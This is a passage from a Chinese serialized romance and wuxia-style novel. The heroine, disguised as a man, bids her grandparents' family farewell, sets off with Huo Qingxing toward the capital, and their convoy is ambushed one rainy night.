王氏点点头,“我自然明白你的道理,可到底是心有不忍,霍公子虽然能护着她,但没在咱眼皮子底下看护着,哪儿放得了心?大姑娘被拐出去,若是没个家里人撑腰,万一出什么事,连个商量的人都没有,你说是不是?” 话是这么说,可…… 舍不得啊! “要不然,咱拖一拖,许是等那霍公子走了,月儿也就歇了心思,到时候顾着经营铺子什么的,就不会再想起这档子事,来日寻一门好亲事,就在咱边上挨着,咱也护得了她。”王氏是怕陈识月,走了她母亲徐瑶的老路。 远嫁,本就是一场豪赌。 山高水长的,待你好便罢了,若是待你不好,便哭都找不到地方哭,等到家里人知晓,坟头草都半米高了。 “瑶儿就剩下这么一条血脉,咱可得看顾好了。”王氏低声呢喃。 徐庚当然明白,也想看顾好陈识月,可感情的事情,谁能说得清楚?年轻人,总有脑袋一热,血往脑门冲的时候,拦不住!根本拦不住。 当年的徐瑶,不就是如此吗? 夫妻二人对视一眼,然后一晚上没睡觉,就这么你看看我,我看看你,光顾着一晚上发愣了,真是比亲生的还要发愁。 翌日一早,吃早饭的时候,所有人都顶着乌眼圈。 大家你看看我,我看看你,都默契的没说话,瞧给这一家子给愁的,好像都快要愁死了。 陈识月看看这个,看看那个,心下一转便明白了他们的意思,可人的缘分都是天注定的,她来永安县本就是为了查当年的案子,得遇至亲纯属机缘巧合。 “大家这是怎么了?”陈识月深吸一口气,“瞧着神色都不太好。” 霍青行沉默不语,毕竟这事还真是没法说。 国公府一案牵连甚广,陈识月的身份始终是个隐患,若不能让当年的事情大白于天下,她就得永远背着朝廷钦犯的罪名,一辈子都得活在暗处。 “外祖父?舅舅?”陈识月皱了皱眉头,“你们……还好吗?” 徐敬叹气,“不妨事,就是昨夜没睡好。” 说着,徐敬看了一眼徐庚。 徐庚也有些无奈,“可能是天气乍暖,有点不适应,夜里睡不踏实。” “是啊,不妨事。”王氏忙找补,“快吃饭吧!” 徐玉莹和徐玉安对视一眼,兄妹二人都默默坐下吃饭,时不时偷瞄这个,偷看那个,然后吃得那叫一个小心翼翼,谨慎小心。 及至吃过了早饭,众人都放下了筷子,徐敬才开了口,“月儿,昨天的事情……霍公子可都与你详说了?” “嗯!”陈识月点头,“我知道外祖父和舅舅、舅母都在担心什么,无外乎是怕我出门在外,被人欺负或者是遇见危险。” 徐敬垂下眼帘,瞧着甚是不忍。 “月儿,昨晚我与你舅母也思量了半宿,最后还是觉得应该听你自己的。”徐庚开口,“人生是你自个的,谁也做不了主。我们这些做长辈的,只能是为你们这些小辈兜底,以后的路要怎么走,还得靠你们自己。” 陈识月起身行礼,“多谢外祖父,多谢舅舅、舅母。” “这孩子,自家人就不必如此见外,不用这般多礼。”王氏满脸怜惜的看向陈识月,“你在外头行走惯了,把你拘在家里,你也是浑身不自在,那倒不如成全你。你有你自己的事情要做,我们不该拦着。” 陈识月点点头,眼角微红。 有家人的感觉,真好。 “不管去哪,都给家里来一封信,报个平安也成。”徐庚叮嘱。 陈识月瞧着眼前众人,眼角溢出泪来,“我一定会的。” 霍青行抿唇,他是个糙汉,这些感性的画面不适合他在场,可瞧着陈识月这般伤心模样,他又迈不开步子,实在是想守着她,待在她身边。 “这个……拿着!”徐敬拿出了一张纸,递给了陈识月,“若是遇见了难处,可以去找这个人,上面的地址你也认真记下。” 白纸黑字,上面写着一行地址。 语罢,徐敬又取出了一封信递给陈识月。有了这封信,便可证明陈识月与徐家的关系,可受到友人照顾。 “白家与我徐家私交多年,只要知道你是我徐敬的外孙女,一定会尽全力照顾你们。”徐敬哽咽着叮嘱,“你们去了金都,只管去找他们便是。” 陈识月小心翼翼的收起来,“多谢外祖父,我都记住了。” “我知道,挡不住你们,趁着年轻……是该多出去看看。”徐敬走到了陈识月跟前,瞧着与女儿有些相似的容脸,记忆里好像有些模糊,却又在瞬间变得清明。 没能见到女儿的最后一面,成了徐敬心里的一个死结,尤其是年纪大了,愈发害怕离别。 “记得时时给家里来一封家书。”徐敬犹豫了一下,但还是开了口,“外祖父年纪大了,不想留遗憾。” 怕走的那天,见不着她,死也比不上眼…… 可这话,不能说。 怕给孩子留下心里压力,只能略微提个醒。 陈识月当即扑进了徐敬怀里,“是月儿不孝。” 徐敬几番哽咽,“好孩子。” 第二百五十四章 如今,她也是有家的人了! 陈识月应下,霍青行便让人去了一趟衙门,算是回复柳侍郎。 对于这消息,柳侍郎自然是高兴的,至少性命有了保障,当然……高兴归高兴,自己该有的表现和诚意,还是应该有的,不能让人白跑一趟,旋即让人去准备了路上所需。 徐家这边也开始忙碌,陈识月是要跟着霍青行走的,这一路上也不能两手空空,以前没有家人护着,只能是轻车简行,如今徐家就是她外祖家,一切都给她置办妥当,甚至要指给她丫鬟和小厮,雇一堆护院跟着她。 吓得陈识月连连摆手,她这身份还比较敏感,这大张旗鼓的出行,不得更惹人注目? 想了想,也是这个道理。 徐庚便也歇了这心思,但盘缠和路上所有供给,都还是准备得足足的,王氏亦是事事亲力亲为,亲自为陈识月操办。 徐玉莹一味的往箱子里装零嘴和话本子,各种路上能打发时间的物什。 “这些管什么用?遇见事的时候,屁用没有。”徐玉安给的就实用得多,一桌子的刀枪剑戟摆放着,看得陈识月眼珠子都快掉地上了。 徐玉安一个个介绍,瞧着好像分外兴奋。 “哥,姐姐不会动武,你拿这些是想让别人砍她吗?”徐玉莹皱起眉头,“你这不是给人递刀子吗?” 媚眼抛给瞎子看,白瞎。 徐玉安顿了顿,转而拿起一旁的箱子,打开来是一些瓶瓶罐罐,“那就带这个。” “这是什么?”徐玉莹眉心都快蹙成了“川”字。 徐玉安忙道,“有毒,有解药,路上带着防身可用。咱既然用不上这些利器,那就用点手无缚鸡之力,可用的东西。” 对此,陈识月表示很感兴趣。 蒙汗药、解毒丸什么的,都是费心费时的东西,得来不易,委实趁她心意。 “看,我就说月儿会喜欢的。”徐玉安笑道,“咱医馆里可没这些,都是我托生伯到处搜罗来的,一些江湖上,寻常所用的毒物,都在这里了。太过阴狠毒辣的,咱也不敢要,怕万一解不了毒,到时候反而害了你。毒物这东西,遇见危险的时候够用就行。” 徐玉安到底是小心的。 “我喜欢。”陈识月赶紧收起来。 徐玉莹噘着嘴,“姐姐……” “好了,你给我塞的那些话本子我的确用不上,不如你替我多找找医书古籍什么的,我喜欢那个。”陈识月可怕极了,回头徐玉莹把能用的不能用的,一股脑全塞进马车。 她是女扮男装跟着霍青行前往金都,可不是去游山玩水的,这么多的东西,既用不上,还拖累行程,丢了又舍不得。 “你那些宝贝疙瘩,留着自己看吧!”徐玉安打趣。 徐玉莹哼哼两声,“那还不简单,我去父亲和祖父的书房,去书斋多找找,总有姐姐喜欢的。” “都别争了。”陈识月看向二人,“我走了之后,若是家里有什么事,定要告知于我,若我去了金都,必定会来信,你们按照地址寄信便是。若不然我久久不归,可寄信到这个地址。” 陈识月将纸条搁在桌案上,上面写着云中村的地址。 “云中村?”徐玉安回过味来,“就是你一直居住的地方。” 陈识月点头,“村里人都是热心肠,若是有什么事,必定会先护着我,我若是从金都归来,早晚也是要回云中村一趟的。” 山高路远,此去一别,不知何年何月才能再见。 人在路上,书信不通,再难得卿卿消息。 兄妹三人面面相觑,离别这个话题,委实是个伤感的话题,不管落在谁身上,都是牵肠挂肚与翘首期盼,毕竟谁也不知道,意外和明天哪个先来? 有些人分别的时候嘻嘻哈哈,再见的时候便只剩下了黄土一堆。 陈识月走的那天,王氏悄悄的把人拉到一旁,拽进了库房里,“这边都是舅母给你准备的嫁妆,你如今要跟着霍公子去金都,虽然是为了办正事,但这每日相处,情意必定会日渐深厚。舅母也看出来了,他喜欢你喜欢得紧,只是舅母有句话仍需叮嘱。” “舅母只管吩咐。”陈识月行礼。 王氏赶紧搀起她,“舅母想说的是,不管发生何事,都要回来办婚事,你外祖父和你舅舅还有我,可都等着喝你的喜酒,可不敢在外面轻易让他骗走了。” 陈识月:“……” 这、这…… “咱要做霍家妇,那也非风风光光,明媒正娶,哪怕、哪怕……”王氏有点说不出口,“就算闹出人命,咱也、也得回家,记住了吗?” 这个对女子名节尤为苛刻的时代,王氏能说出这番话,已经是破天荒了。 可见,只要是自家孩子,怎么着都好。 “别自个吃亏了,也不要因为情意日渐深厚,就太过相信霍公子,男人到底是男人,有时候……”王氏说得磕磕绊绊。 她满脑子都在想,怎么才能把话说得好听点?婉转一点? 千万千万,不要伤到陈识月的自尊,怕这孩子听了,到时候心里有疙瘩,到时候一走就不回来了,那还得了? “舅母放心,我心里有数。”陈识月握住她微凉的手。 可见,王氏是真的紧张。 “我知道舅母是为了我好,所以舅母只管放心,若是哪天我与他真的到了这一步,三媒六聘,八抬大轿,都是要从徐家这道门走出去的,我还指着外祖父和舅舅,舅母您能坐在高堂,亲眼看我嫁出去,替我母亲送我出嫁!”陈识月红着眼眶,软声开口。 王氏如释重负,总算是松了口气,握紧了陈识月的手,“那就好,舅母啊……也是这个意思。” 虽然分开了那么多年,可这骨肉亲情是割舍不了的。 “徐家永远是你家,我们会一直等你回家。在外面若是遇见什么难处,或者是伤心了,月儿一定要记得回家。”王氏抹着眼泪,说到最后几乎哽咽。 陈识月伸手擦去,到了最后自己也落了泪。 离别,到底不是什么好事。 王氏抱了抱陈识月,“没有母亲在你身边,也不知道你这丫头吃了多少苦,舅母知道你不愿意说,但是以后可不敢再藏着掖着,咱们是一家人,你可以撒娇也可以生气。” “嗯!”陈识月抹着泪,“舅母放心,我此去是办正事的,儿女之情只能先放一放。” 王氏张了张嘴,想问……又把话咽了回去,只留下一句,“注意安全,不行就回家。” “是!” 不行就回家。 如今,她陈识月也是有家的人了! 第二百五十五章 我的小月儿自是最好的 出发的那天,天气很好。 阳光明媚,微风习习。 陈识月站在马车边上,轻轻的抱了抱王氏,也抱了抱徐玉莹,一袭男儿装束,瞧着就像是个弱不禁风的清秀少年郎。 “要平平安安的。”王氏叮嘱她,“到了地儿马上来信,别让家里担心。” 陈识月连连点头,“是,舅母放心。” 登上马车之前,她跪地冲着徐敬磕了个头,然后冲着徐庚磕头,冲着王氏磕头。 此地一为别,不知何年何月才能再重逢。 徐敬红着眼眶,左右被孙子、孙女搀扶着,就这么静静的看着陈识月登上了马车,千言万语都哽咽在喉咙里,说不出也咽不下。 及至马车渐行渐远,徐敬才嗫嚅着吐出一句话,“当年她母亲离开的时候,也是这样吧?就一眼没看到,怎么就成了一辈子呢?” 人生最痛,不过是白发人送黑发人。 临别一眼未能果,遗憾半生梦里圆。 “这跟之前瑶儿不一样。”徐庚忙道,“月儿肯定会回来的,我们也知道她去往何处,不会再弄丢了。爹,你放心吧!” 王氏抹着泪接过话茬,“是啊,月儿一定会回来的,到了地儿她就会来信,咱在金都那边也有人照看着,错不了的!” 再不似之前徐瑶走的那样,孤立无援,后会无期。 马车渐行渐远,陈识月始终没敢探头往回看,心里酸涩得厉害,难受得说不出话来,眼眶里的泪始终没有落下来,一抬头便是泪眼汪汪,满脸倔强。 不怕一个人熬,就怕熬着熬着,忽然感受到了至纯的爱护,那一瞬间的崩溃与委屈,夹杂着滔天的不舍,足以将所有的理智吞没。 谁不想被爱护? 谁不想被疼着? 但陈识月很清楚,背在身上的通敌叛国罪,会牵连无数,只有彻底掀开这一层黑锅,她才有机会与家人光明正大的在一起,否则的话,便是刀子悬在头上,迟早会鲜血飞溅。 马车行至码头边上,柳侍郎他们已经上了船,远远看一眼岸上的场景。 少年人略显消瘦,站在霍青行的身边,瞧着有几分眼熟,但因为隔开了一段距离,所以看得并不真切,瞧打扮应该是个男子无疑。 上船的时候,陈识月回头看了一眼,眼神有些迷茫。 手背一热,是霍青行握紧了她的手,“办完了我们的事儿,还能回来。” “嗯!”陈识月不是婆婆妈妈之人,理智回笼,她知道自己要走的路有多艰难,也明白这是必经之路,“我们走!” 霍青行和林序带着人,跟在柳侍郎的身后,一直到出去了甚远,夜里在山中扎营,这才堪堪停下歇息。 林序带着安信他们去收拾,今晚要住在这山里,自然要搭建临时的帐子,让底下人轮流值守,以免突生意外。 “公子,柳侍郎过来了。”林序急匆匆跑过来。 霍青行站在马车边上,看着手中的图纸,与陈识月介绍路径,听得这话不由得抬起头来,转头看向缓步行来的柳侍郎。 柳侍郎的手里提着食盒,看过来的时候,视线精准的捕捉到了边上的陈识月。 “少将军。”柳侍郎赶紧将食盒放下,“这是帐中刚做好的饭菜,咱趁热吃。” 说着,柳侍郎笑盈盈的看向陈识月。 这细皮嫩肉的,应该不是副将,哦不,应该说……不可能是行伍之人。 “这位是……”柳侍郎佯装无意的开口。 霍青行将食盒递给陈识月,“军师。” “哦,军师啊!”柳侍郎点点头,“难怪,难怪!” 霍青行眉心微挑,“难怪什么?” “难怪瞧着就是聪明伶俐的。”柳侍郎找补,“这般细胳膊细腿的,倒不像是军中待过的样子,可见少将军分外看重,出门在外都得带着。” 说起来这柳侍郎也是能人,一步步的从地方官走到了金都,原是一地的知县,后来办了不少案子,被破格提拔入朝,再后来就慢慢的坐到了今日的位置。 所以说,这老小子察言观色的本事,那是一等一的好,要不然也不会派他来查商家贩卖私盐一案。彼时在船上,他就瞧出了端倪,如今瞧着……更加验证了心里的想法。 “柳侍郎说这话,是想随军吗?”霍青行问。 听得出来,这小子不太高兴。 柳侍郎一副恍然大悟之态,看破不说破,笑盈盈的摆摆手,“我都这般年岁了,哪儿还敢入军营,怕是连刀枪剑戟都扛不动。” 语罢,柳侍郎又看了看图纸,伸手在上面指了指,“我们走这条道。” “好!”霍青行不多话。 陈识月从始至终都没说话,毕竟女子的声音和男儿到底有些区别,哪怕是少年郎的声音,多多少少也是有异。 “少将军可莫要跟丢了。”柳侍郎似笑非笑,目光从陈识月身上转悠回来,慢悠悠的掉头离开。 瞧着他离去的背影,霍青行转头看向陈识月,“以后同他说话要小心点,朝堂上摸爬滚打的老泥鳅,可不是好糊弄的。” “知道了。”陈识月谨记。 这些东西她确实不知,还得霍青行手把手教。 “我瞧着他像是来打探消息的。”林序皱了皱眉头。 霍青行瞥他一眼,“才看出来?脸上白长了一对招子。” 林序:“……” 陈识月在边上偷笑,不得不说,他们这帮人没一个是嘴软的,全身上下连带着嘴皮子都是硬邦邦,若不是年少相识,有那情分在,怕是姑娘都得被吓跑。 “这老狐狸。”林序骂骂咧咧的离开。 霍青行瞧了一眼图纸,慢悠悠的收起来,“今夜好好休息,接下来可能会有硬仗,要以防万一,能睡就多睡,能吃就多吃,随时应对突发状况。” “你是说……长乐门?”陈识月秒懂。 霍青行点头。 “我知道了。”陈识月从随身小包里取出一小瓶塞给他。 霍青行一怔,“什么?” “解毒丸。”陈识月认真的回答,“不怕一万,就怕万一。” 霍青行眉心微蹙,“那你呢?” “我还有。”陈识月拍了拍随身小包,“何况我是大夫,我知道该如何自救,若是突发意外,你只管去做你要做的,我有能力自保。” 出门在外,她可不是软柿子。 玫瑰如何? 玫瑰也有刺。 谁敢动她,她就扎谁! 霍青行被她的认真逗笑,低头扬唇,“我的小月儿自是最好的,什么都会!” 陈识月当即别开视线,耳根子微微发烫…… 第二百五十六章 她文,他武,绝世良配 夜里,还算安生,毕竟这刚出来没多远,就算是长乐门也不敢太过造次,从四面八方赶过来也需要时间。 陈识月自然是听话的,该吃吃该睡睡,就按照霍青行叮嘱的,每一顿都要吃饱,抓紧时间就睡觉,免得到时候真打起来,吃不上睡不好,身子虚弱得跑不动。 林序钻进了霍青行的帐子里,“少将军,边关来的消息。” 因为在永安县逗留了一段时间,所以跟边关联系上了。 霍青行没多说什么,这么久了,也该来消息了,伸手接过了林序递来的纸条。 “少将军。”林序凑过来,“老将军是不是催着你回去?这要是知道咱马上去金都,会不会立马杀过来?到时候卑职也得跟着挨揍。” 霍青行瞥他一眼,“怕了?” “老将军那脾气,一旦起了火,那便是谁都拦不住。”林序想起一身肃杀的老将军,顿时起了一层鸡皮疙瘩。 老将军下手那叫一个狠,刚去军营的时候,险些把林序给吓哭了。 少年人虽然叛逆且骄傲,可真的遇见杀人无数,从尸山血海里回来的杀神时,什么锐气都没了,站在那里面色煞白,抖如筛糠。 对于强者的畏惧,那是与生俱来的求生欲。 林序第一眼见着老将军就吓着了,后来即便跳脱不着调,在老将军面前都乖得跟猫似的。 “你怕了?”霍青行皱眉。 林序喉间滚动,“怕、怕、怕个屁,咱可是七尺男儿,都多大年纪了,还怎么可能怕?” “切!”霍青行白了他一眼。 有本事,嗓音不要带着颤啊! 大概是被霍青行这一眼给刺激的,林序还真是有点委屈,说得好像军中其他人不怕老将军似的。 老将军行军打仗一辈子,唯有被他自个逆子气得跳脚,其他时候,谁敢忤逆? “老将军说什么了?”林序小心翼翼的凑上去。 霍青行挑眉,“没什么。” “没什么?”林序打死也不信。 怎么可能没什么。 “他说已经抓住了蛮子的细作,但还没问出什么,对方最近这段时间可能不敢轻举妄动,应该开始转变计划。据说,有探子潜入了金都。”霍青行道。 林序点点头,“这不就凑巧了吗?正好,咱也要去金都。” “去了金都,记得留意。”霍青行沉着脸,“不知道这细作会藏身何处?” 林序心里有点沉甸甸的,若是有细作潜入了金都,是否意味着跟金都的某些人有所牵连,金都皆朝中大员,查察的难度可想而知。 霍家纵然有心去查,却也是强龙压不住地头蛇,若是让那边提前知晓霍青行入金都的消息,怕是要行龌龊手段拦阻,或者是……截杀! 想了想,霍青行将纸条递给林序,“看看吧,做好心理准备!” “哦!”林序倒也不客气。 老将军说,金都有细作,当初那些细作混进边关,被他们斩杀了大半,后来霍青行一路追踪受了暗算,以至于失踪多时。 所幸,最终为陈识月所救,安然无恙的活下来。 逃散的蛮子便是以蛮子二皇子为首,偏巧与陈识月相逢,最后被霍青行杀死在了山里,但是部下却因着被冲散而逃出,趁机进了金都…… “都混进了金都,且没被人发现,说明双方勾结,金都有人里通外敌。”林序沉着脸。 霍青行将纸条搁在了蜡烛上,顷刻间火苗窜起,将纸条燃烧殆尽,风一吹便散了个干净,“通知安信他们,行事要小心,接下来莫要轻易露脸。” “可是柳侍郎那边……”林序有些犹豫。 霍青行皱了皱眉,“我会说明缘由,到了金都附近,咱就撤。” “不与他们一道入金都城?”林序明白。 霍青行点头,“或者是在千州那里就撤,提前走也不是什么大事,那边相对来说官道宽敞,没那么多的山匪之流,倒也还算安全。” 越靠近金都,各州县的防范意识就更强大,也就是说……更安全。 屯兵数量不少,可随时接应。 “倒也是。”林序松了口气,“好在咱现在伪装成行商,确是极好的遮掩。” 他们人数不少,伪装成商队是最好不过的。 即便有人盘问起来,也只说是进出做生意的,家丁护院和粗使工人加一起,浩浩荡荡的赶路确属正常,只能说他们家的生意做得不小,是个有实力的商贾门庭。 “先休息吧!”霍青行垂下眼帘。 今夜,安然无恙。 翌日,晨光熹微。 前面的队伍便已启程,霍青行刻意与他们拉开距离,只着老二和老三近距离跟着,充当先锋探路之用,其余人便是该做什么便做什么。 “这两日应该都没什么问题。”林序驱车。 霍青行则与陈识月一道坐在车内,瞧着倒是分外平和。 远处,忽然有野鸟齐刷刷的飞起,呼啦啦的从这边山头,飞向那边山头。 陈识月撩开车窗帘子往外看,眉眼间带着几分忧虑。 “那边有乌云,怕是今夜会有雨。”陈识月有些忧心,“得沿途看着点,看有没有可靠的暂时栖身地,免得突生意外,会慌不择路。” 这倒是实情。 “好!”霍青行也想到了这一层,打开了车门与林序嘀咕两句。 陈识月素来小心,又是养成了处处谨慎的性子,她的提议不是没有道理的。 别看现在天色尚好,可山里天气多变,前一秒还艳阳高照,下一秒就已经大雨倾盆,诸事皆有可能,防范于未然总是没错的。 如陈识月所料,过午之后这天气就不对,瞧着山风起,瞧着乌云至,眼见着好像是要下雨了。 但,不知山雨什么时候来。 “这天气不太对。”林序开口,“前面那么多人,还推着囚车,万一真的下起雨来,怕是山路南行,再往前就是两州交接,若遇山匪……” “呸呸呸,大吉大利!”陈识月皱眉。 林序嘿嘿一笑,“月大夫莫要生气,我就是随口一说。” “别胡言乱语。”霍青行低声训斥,瞧着周遭连绵的群山,隐约也有一种不祥的预感,“在永安县发现了那么多长乐门的行动踪迹,说明他们往来都在附近,即便铲除了县城内的明哨暗哨,周遭的那些应该还在。” 若说是要遭逢第一波奇袭,今夜便是个好机会,想必他们不会放过…… “老四。”霍青行喊了一声。 老四策马近前,“公子?” “去知会柳侍郎一声,雨后易出笋。”霍青行意味深长的开口。 老四颔首,当即策马而去。 第二百五十七章 守着帐子,守着你 两州交接地带,本身就比较危险,瞧着也没什么人家,入目所见皆是山林,但是想要再往前就难了,因为这边还没下雨,前方已经大雨滂沱。 大雨滂沱之后,导致了山体滑坡。 即便是官道,却也造成了略微堵塞,边上是悬崖峭壁,是以雨夜通行颇为危险,所幸边上有个矮坡,即便今夜下雨也不影响安营扎寨,休息一夜。 不过,有了霍青行的提醒,柳侍郎可不敢大意,瞧着开始飘起小雨的夜空,听着前方传来的雨声,一颗心没来由得七上八下。 “大人!”底下人汇报,“下雨了,好在帐子都搭建妥当,就是这雨……可能到了夜里会越下越大,怕是有点危险。” 山林中过夜本来就不是什么好事,何况他们还押解着囚犯,这要是出什么事,帝王怪罪下来,大家的脑袋都得跟着搬家。 “安营扎寨之后,让人挖掘几道沟,若是雨下大了,还能用来引流。”柳侍郎眯起危险的眸子,若有所思的环顾四周,“好端端的,官道被掩埋,未免也太巧合了些。” 底下人面色微恙,瞧着有些忧心,“大人,要不然改道?” “山雨欲来风满,何况这山雨已经开始下了,改道至何处?回金都就得走这条官道,前方才有岔路口,可我们连走到岔路口的机会都没有。”柳侍郎很清楚,霍青行的提醒是有原因的。 战场上归来的人,对与周遭环境的改变,还有危险的来临,都会有敏锐的感应能力。 那是一种本能,动作迅捷的反应。 “今夜当心,唯恐生变。”柳侍郎下令。 底下人各自心中紧张,但也不敢多说什么,既然知晓会有危险,就赶紧的安置起来,务必严加看守这些犯人。 雨越下越大,天色越来越黑。 霍青行站在帐子门口,瞧着外头稀里哗啦的大雨,脸色不是太好。 “少将军?”林序进门,收起了伞。 霍青行瞧着他,“安顿好了?” “是!”林序抹去面上的水渍,“雨有点大。” 霍青行深吸一口气,“滑坡导致官道堵塞,原本是很正常的事情,可偏偏发生在我们赶到之前,这就有点意思了。” “故意的。”林序面色凝重,看一眼外头的大雨,脸色好不到哪里去,“只怕今晚会有一场恶战。” 霍青行点头,“如果出事,第一时间带着月儿躲起来,然后就该是围猎时刻。可莫要让我失望!” “这是自然。”林序摩拳擦掌,“咱弟兄几个最近正手痒,已经很久很久没有与人较量了,此番定是要打个痛快,也不让长乐门的人跑出去半个。” 半个? 霍青行皱眉。 “哦,也定然会好好照顾月大夫的!” 林序可不敢把这么大的事情忘了,要不然这位爷发作起来,可半点都不比老将军差,这爷俩是一个赛一个的倔强,脾气上来了就跟驴一样,谁也压不住。 “不用,我会自己照顾好自己。”陈识月撑着伞站在雨里。 霍青行面色一紧,“你怎么过来了?快进来。” 外头这么大的雨,也不怕湿了她的鞋袜,到时候自个冻着? “我觉得不太安心,所以过来看看,安信他们没拦着我,我不知道你们正在说话,所以听得最后一句。”陈识月进了帐子。 林序赶紧接过她手中的伞,冲着外头甩了甩水渍,“月大夫,这么大的雨,你若是有事招呼一声便罢了,这大雨天的过来万一淋湿了,我家公子又得担心了。” “我……”陈识月看向霍青行。 霍青行已经取了干净的帕子,快速擦拭着她的面颊,其后掸了掸她的肩膀,面色冷凝的看向她淋湿的裤管和鞋子,“去那边坐着。” “不打紧。”话是这么说的,但她还是乖顺的坐了下来,“又不是娇滴滴的小姑娘,平日里便没那么娇气,这点雨算什么?” 往日里在山中采药,偶尔来不及跑,淋个透心凉都是常有的事。 “你以前如何,我未能参与,但如今你在身侧,我自不能视而不见。”霍青行作势要弯腰,想把她的湿鞋袜褪下来。 林序面色一惊,掉头就跑出了帐子,顺带合上了账门。 非礼勿视。 视……也不能直视。 一出帐子,只瞧着安信那几个人,正撑着伞,猫着腰,似乎是要听点什么,乍然与林序对视,不由得面色微变,赶紧掉头回了自己的帐子。 “没大没小。”林序训斥,“再让我看见你们鬼鬼祟祟,小心你们的皮。” 语罢,兀自将耳朵贴在了帐子边上。 帐子里,很安静。 按理说,女儿家的玉足岂能随便让男儿看了去,奈何他是霍青行。 人在很多时候都会存有私心,就比如现在的陈识月,曾经她如此抗拒,如今却分外信任,他将她丢失的安全感,一点点的从黑暗中捡了回来,让自卑敏感而怯懦的她,重新站在了阳光底下。 有依仗,有人兜底,人的自信心和胆量也就回来了。 明媚张扬,都是因为身后有人。 “你钻进被窝去。”霍青行忙道,“我把你的鞋袜放火盆上烤干,你只管放心便是。今夜,就住这里,不要在挪来走去,外头那么大的雨,万一染了风寒可不得了。” 他言语焦灼,语气里没有对“孤男寡女,共处一室”的欲念,更多的是担心她的身子。 看着他忙忙碌碌的背影,陈识月低低的应了声,“好!” 霍青行拿着鞋袜的手一僵,下意识的回头看了她一眼,只瞧着小妮子动作麻利的褪去了外裤,钻进了他的被窝里,倒是听话得很。 唇角压不住的往上扬,霍青行将她的鞋袜搁在了火盆上,其后便挪来了凳子,靠坐在立柱上,一方面可以休息,另一方面可以好好守着她。 “你安心的睡,我会在这里守着,不会有事。”他在帐子里坐着,牛鬼蛇神都别想靠近。 他守着帐子,也守着她。 “霍青行,那……那边会打起来吗?今夜真的会出事吗?”陈识月看着帐顶,心里有些不安。 霍青行想了想,“不清楚,兵来将挡,水来土掩。” “你说,商城他知晓上柳居士的事情,若是进了金都之后,会不会认出他来?”陈识月低声开口,“若我们盯着他,会不会有意外收获?” 霍青行双手环胸,盯着帐门,“不清楚,但销金窝是肯定得去一趟的。” 陈识月一下子翻身,趴在了木板床上,“一定要带上我。” 他转头,恰她四目相对…… 第二百五十八章 保护柳大人 有那么一瞬,霍青行觉得,他们就像是命运牵扯到一起的两根线,在重逢的那一刻,就被拧成了一股绳,此后生生世世,无人能把他们再分开。 如同宿命,恰似你我。 陈识月略带羞赧的别开视线,可耳根处的绯红已经出卖了她此刻的心虚,男女之间的情爱总是朦胧阶段最是惹人心慌意乱。 奈何,身上背负着莫大的冤屈,实在是有心无力…… 霍青行慢悠悠的收回视线,佯装淡定的盯着帐门,可一颗心早就砰砰乱跳,不由自主,好在她不会冲过来听他的心跳,否则就能听到他心头那千万遍的互换,一遍遍的喊着她的名字。 要不怎么说,年少时不能遇见太惊艳的人呢? 一眼万年,这辈子都栽了。 外头的雨,还在哗哗下着。 胸腔里的心脏,正在砰砰砰的乱跳。 和谁在一起,怎么可能都一样呢? “不管我去哪儿,都会带着你的,陈家的案子得交给你亲自去处置,就算是真相,也该交给你来揭开,没有人比你更有资格参与,知晓一切。”霍青行努力平复内心的悸动,“我会托举你,也请小月儿能相信我!” 毫无保留的,全身心的信任。 陈识月垂下眼眸,翻身重新躺回去,“用你们这群好哥们的话来说,我会全身心的相信你,把背后交给你。” 战场上,交付脊背就等于是最大的信任。 “必不负卿卿之意。”他音色缱绻。 陈识月听得耳朵有点痒,下意识的翻个身,背对着外头,却掩不住呼吸微促,“诶,你、你这么会哄人,到底哄过多少姑娘?” “攒了这么多年,一肚子的哄人技巧,偏生抛媚眼给瞎子看。”霍青行意味深长的说,“哄不好,媳妇跑了。哄好了,媳妇觉得我是练出来的。古往今来所有的冤枉大事,都顶不过一个我。真冤呢!” 陈识月哽了一下,这人还真是…… 想了想,她闭上眼假寐。 罢了,越说心里越慌,还是别再说了。 听得她略显急促的呼吸声,霍青行垂下眼帘,止不住的唇角轻勾,只觉得满帐子都是她身上的气息,令他整颗心都跟着放松下来,满脑子都是胡思乱想。 一个响雷,四下一片死寂。 所有人都分批休息,轮班值守。 眼见着大半夜都没事,还以为今夜就这样过去了,便是柳侍郎也这么认为的,可没想到的是,黎明前的黑暗才是真的黑。 雨势稍减,黑衣人蜂拥而至。 所有人的目的就是去劫囚,还有就是烧毁证据,直扑押着犯人的帐子,刀剑碰撞之音旋即响起,紧接着便有人高声喊,“有人劫囚,来人!快来人!” 一瞬间,所有人都掀开了帐子冲出去,军士和护卫全部拔剑而出,双方当即展开了厮杀。 “公子!”林序掀开了帐门,“他们动手了!” 霍青行旋即起身,迈开步子的时候又回头看了一眼。 “你去吧,我会保护好自己。”陈识月已经坐起身来。 虽然有点睡意朦胧,但一点都不影响她的清醒理智,她坐在那里,目光灼灼的盯着他。 微光中,霍青行深吸一口气,“林序,保护好她,其余人跟我走!” “是!”林序颔首。 霍青行走了之后,林序便冲着陈识月拱手,快速退出了帐子。 见此,陈识月当即坐起身来,快速拢好了衣裳,跑到火盆边上将鞋袜穿好,其后便喊了林序一声。 “月大夫。”林序进来,身上还带着水渍,“这刀你拿着,若是有什么不对的,保护好自己。” 陈识月接过长刀,有点分量,拿在手里沉甸甸的,但一刀的话……还是能挥得动的,只不过挡不住第二刀,毕竟男女的力量悬殊,这是必然的结果。 纵然她身康体健,纵然她经常上山采药,爬山涉水,但怎能比得,他们这些会手脚功夫的男子! 站在帐门口,远远就听到了那些细碎的声音。 夹杂着雨声,风声,嘶喊声…… 陈识月的一颗心高高悬起,伸长脖子想看看,奈何夜色黑沉,隔着浓重的雨幕,只能瞧见晃动的火光,别的什么都看不清楚。 “月大夫只管放心,我家公子那是一等一的好手,有他在绝对没问题。”林序拍着胸脯保证。 陈识月看向他,“你跟着他,应也是一等一的好手。” “那是自然。”林序点头,“不是我王婆卖瓜,自卖自夸,咱在战场上也是立过功的,斩杀过敌将,杀退过敌寇,上阵杀敌绝不含糊。” 陈识月由衷开口,“辛苦了。” 林序一怔,忽然有些不好意思,半大小子挠挠头,耳根子有些发红,“月大夫客气了,当兵吃饷,不就是为了保家护国吗?这都是咱分内之事,职责所在。” “有你们,蛮子才不敢肆意。”陈识月握紧了手中的刀子。 呵,可真够沉的。 可惜,还是什么都瞧不见。 雨势虽减,但一点都不妨碍双方打得难舍难分。 原本长乐门的人,已经杀进了帐子,眼见着一刀就要劈开了囚车的锁扣,谁知下一刻,冷箭“嗖”的一声射来。 